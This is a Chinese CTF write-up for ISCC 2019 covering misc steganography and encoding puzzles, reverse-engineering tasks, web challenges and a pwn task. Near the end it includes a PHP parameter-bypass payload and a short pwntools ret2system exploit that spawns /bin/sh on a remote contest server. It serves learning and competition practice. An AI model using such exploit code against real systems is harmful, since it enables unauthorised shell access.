Misc
隐藏的信息
0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113
没有比8大的数字,猜测和八进制有关,转换成字符串
a = "0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113"
flag = a.split(' ')
for i in flag:
print(chr(int(i,8)))
V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K
尝试用base64解,得到flag
import base64
flag="V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K"
print(base64.b64decode(flag))
Flag: ISCC{N0_0ne_can_st0p_y0u}
倒立屋
图片如下:
箭头指向房子的底部,联想到了lsb隐写查看图片的最低有效位。打开加密图片后,选择Analyse-DataExtract,Bit Planes 选Reg、Green、Blue的第0位,Bit Order选LSBFirst, Bit Plane Order选RGB
9102_cCsI
Keyes' secret
猜测和键盘有关系。中间发现{},猜测里面的就是flag
括号里面:
{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}
WSX----------------------I
IUYHNBV---------------S
TRFVB------------------C
QAZSEC----------------K
WSXCDE---------------E
EFVT---------------------Y
YHNMKJ----------------B
TGBNMJU--------------O
GRDXCVB--------------A
MNBVCDRTGHU-----R
WSXCFE----------------D
NBVCXSWERF--------P
RFVGYHN--------------H
MNBVCDRTGHU-----R
括号里面为ISCC KEYBOARD CIPHER
,有括号,猜测flag有格式
FLAG{ISCC KEYBOARD CIPHER}
Aesop's secret
题目提示:
key应该在动图里,将闪图分解Aesop's chest and key lie within. To find it.
key是ISCC
flag{DugUpADiamondADeepDarkMine}
碎纸机
题目:
“想要我的宝藏吗?如果想要的话,那就到碎纸机中找吧,我全部都放在那里。”
根据提示用binwalk -e
将图片分离
得到压缩包,十张图片和txt。
碎纸机中居然是一堆黑色和白色的碎片,但是这些碎片之中到底会有什么样的宝藏呢?
我去问了欧鹏·曦文同学,他说他有办法恢复拼图原貌,但是前提是要我把真正有用的东西给他。
欧鹏·曦文,opencv?然而并没啥用
用winhex查看图片信息,发现只有末尾1250位的数据不相同
from PIL import Image
flag_pic = Image.new("RGBA",(143,50),(255,255,255))
for fn in range(1,11):
fp=open(r'C:\Users\ysm80\Desktop\ISCC\misc\paper\puzzle\puzzle'+str(fn)+'.jpg','rb')
all_data=bytearray(fp.read())
data=all_data[-1250:] #读图片最后1250位
pic = Image.new("RGBA",(50,50),(255,255,255)) #新建图像对象,RGBA通道,xy轴为50,颜色为white(255,255,255)
dex=0 #初始化标记位为0
for i in range(0,25):
for j in range(0,25): #两层循环,写入图片上半部分颜色
pic.putpixel((j,i),(255-data[dex],255-data[dex],255-data[dex])) #设置坐标(j,i) 颜色为(255-data[dex],255-data[dex],255-data[dex])
dex=dex+1 #标记位+1
for i in range(25):
for j in range(0,25): #两层循环,写入图片下半部分颜色
pic.putpixel((j,i+25),(255-data[dex],255-data[dex],255-data[dex])) #设置坐标(j,i+25) RGB值同上
dex=dex+1 #标记位+1
for y in range(0,50):
for x in range(0,13,1):
if pic.getpixel((x,y)) < pic.getpixel((x+13,y)): #若x轴0~12的像素值 小于 13~25的值,则写入 0~12的像素值
flag_pic.putpixel((x+fn*13,y),pic.getpixel((x,y)))
else: #否则写入后 13~25的像素值
flag_pic.putpixel((x+fn*13,y),pic.getpixel((x+13,y)))
flag_pic.show()
Flag={ISCC_is_so_interesting_!}
他们能在一起吗?
扫描二维码得到字符串UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=
用base64解密得到PASS%7B0K_I_L0V3_Y0u%21%7D
由题目他们能在一起吗?猜测所得的字符串PASS 0K_I_L0V3_Y0u
和%7B%21%7D
分开%7B%21%7D
用url解密得{!}
合在一起就是PASS{0K_I_L0V3_Y0u!}
但是提交不对
尝试用binwalk分离,得到一个有密码的压缩包
用PASS{0K_I_L0V3_Y0u!}当作密码,错误
尝试输入0K_I_L0V3_Y0u!得到flag
ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}
无法运行的exe
打开文件,发现base64字串,用脚本换成图片,将base64字符串保存到1.txtiVBORw0KGgAAAAANSUhEUgAAASkAAAEpAQAAAADn4ukvAAACAklEQVR4nO2aQY6bQBBF3wdLsGvvsoSb4JzM+GbmCLmBvcwOFpFAMvwsIJ5ZjsRkcEj3BlR6Un9apa+qLmQ+sC7JRyiIWMQiFrGIfRjrNK+yy0eJi0oYl1i+sbY9YJlt+0roDgBVcwTZttvNte0BGyXV0OXInC9VCyCpfAFt+8FCn04s2ftlm/4/WBcGSTrR5V+36Z6xw/xIDTSELpsSzt/L0I5goNtQ2w6w+XgHAVB034bUguJH/stzLNtO216w4HndGA5gne5H0iXWb6xtN9hFZejTUfKV0I8Jqpuyi3XvJ2FnNwpDaqhuz2CI2bsG4+kA9rVwjwyVW9IJ+7p0HPUrf8IrY8ytWTrhurqxWO6NzDZUt9mW4/Guw8bU0JSAxeVUtACO3rsWW7J38QT3sycUbfbQWxrH7F2HZZ6ARgoPWTWEHmvJ5421/dPY0rXhxHAvB2kyzf34M9ekjbXtBxtTS6pa0gnVFPcci3NsK1Zi+P1qM0+8qxwo2ui9q7HntCJ0SlimFQmcfdtc2x6wP9OKLjw0Jy3pBHA/bq5tD9gyrViGQdyPgyRoqui9n4llD0u+QvYA1xDbis/EhoPsGkJ3kLmcvmTTHWMsBYM9X+nMlw92nz5riVg5rMUGzSM2siFBvgJYql9B2z+NHQDC23986fKaPTDE+96IRSxiEfsb2G/jeCyvdHD3rQAAAABJRU5ErkJggg==
转换成图片
import os, base64
with open("C:\\Users\\ysm80\\Desktop\\1.txt", "r") as f:
imgdata = base64.b64decode(f.read())
file = open('C:\\Users\\ysm80\\Desktop\\1.png', 'wb')
file.write(imgdata)
file.close()
图片打不开,用Comfy File Repair修复文件得到二维码
扫描二维码得到flag
IScC_2019
Welcome
把文件后缀名还称zip,解压得到文件。文件除了开头和结尾只有四种类型,都是以洮萇二字开头,脑洞一下二进制,flag的f二进制为01100110,尝试替换一下洮蓠朩暒戶囗
代表0萇條戶囗
代表1萇條蓅烺計劃
代表1洮蓠朩暒蓅烺計劃
代表0
将得到的二进制转换为十进制,对照ascii表
flag{ISCC_WELCOME}
Reverse
answer to everything
题目提示:
sha1 得到了一个神秘的二进制文件。寻找文件中的flag,解锁宇宙的秘密
猜测和sha1加密有关,用ida打开文件
看到字符串
#kdudpeh
,因为
Submit without ang tags
猜测去掉#之后将kdudpehe进行加密,得到flag
ISCC{80ee2a3fe31da904c596d993f7f1de4827c1450a}
Rev01
https://www.anquanke.com/post/id/169970
https://go-madhat.github.io/insomnihack_beginner_reverse/
动态没看出来,那就看静态的吧。。。用ida查看
do
{
if ( v16 == v24 )
break;
v2 = ((*(_DWORD *)(v33 + 4 * v25) >> 2) ^ 0xA) == *(_DWORD *)(v16 + 4 * v25);
++v25;
v26 += v2;
v24 -= 4LL;
}
a=[0x154,0x180,0x1FC,0x1E4,
0x1F8,0x154,0x190,0x1BC,
0x1BC,0x1B8,0x154,0x1F8,
0x194,0x154,0x1B4,0x1BC,
0x1F8,0x154,0x1F4,0x188,
0x1AC,0x1F8,0x154,0x18C,
0x1E4,0x154,0x190,0x1BC,
0x1BC,0x1B8,0x1BC,0x1B8,0x22,0x000,0x220]
flag=''
for i in a:
flag += chr(( i >> 2) ^10)
print (flag)
just_need_to_get_what_is_needed.
dig dig dig
@1DE!440S9W9,2T%Y07=%<W!Z.3!:1T%S2S-),7-$/3T
uuencode解码得到
FIAQD3gvLKAyAwEspz90ZGAsK3I1sD==
rot13解码
SVNDQ3tiYXNlNjRfcm90MTNfX3V1fQ==
base64解码得到flag
ISCC{base64_rot13__uu}
简单Python
用python反编译工具得到反编译代码
#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
import base64
def encode(message):
s = ''
for i in message:
x = ord(i) ^ 32
x = x + 16
s += chr(x)
return base64.b64encode(s)
correct = 'eYNzc2tjWV1gXFWPYGlTbQ=='
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
print 'correct'
else:
print 'wrong'
import base64
def encode(message):
s = ''
for i in message:
x = ord(i) ^ 32
x = x + 16
s += chr(x)
return base64.b64encode(s)
correct = 'eYNzc2tjWV1gXFWPYGlTbQ=='
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
print 'correct'
else:
print 'wrong'
将eYNzc2tjWV1gXFWPYGlTbQ==
用base64解密,在把每个字符转为ascii码,再减去16,异或32再转为字符得到flag
import base64
correct ='eYNzc2tjWV1gXFWPYGlTbQ=='
s=base64.b64decode(correct)
flag=''
for i in s:
i=chr((ord(i)-16)^32)
flag+=i
print flag
ISCC{simple_pyc}
Rev02
这是一个300分沙雕题。。。
用ida打开看hex就是flag
flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}
Web
web2
密码为三位数,emmm倒着试试很快就出来了。。。
flag{996_ICU}
web1
count():返回数组元素的数量。
unset():清除参数。
chr():根据指定的 ASCII 值返回字符,但是一个数大于256,就会自动取mod256后再把结果传进函数
当intval里的数据是16进制时,强制换会有漏洞
构造如下payload:
value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367
&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x1234
flag{8311873e241ccad54463eaa5d4efc1e9}
pwn
pwn01
exp
from pwn import *
esp_adr=0xffffddb2
sys_adr=0xf7e5a940
pl='/bin/sh\x00'+'a'*6
pl+=flat([esp_adr+0x1e,0,0])
pl+=flat([sys_adr,0,esp_adr])
p=remote('39.100.87.24',8101)
#p = process("./pwn01")
p.send(pl)
print p.recv()
flag{f530c5ef-3a8a-4271-91f7-3c5ebd87fbe4}
转载于:https://www.jianshu.com/p/9a7563136e7b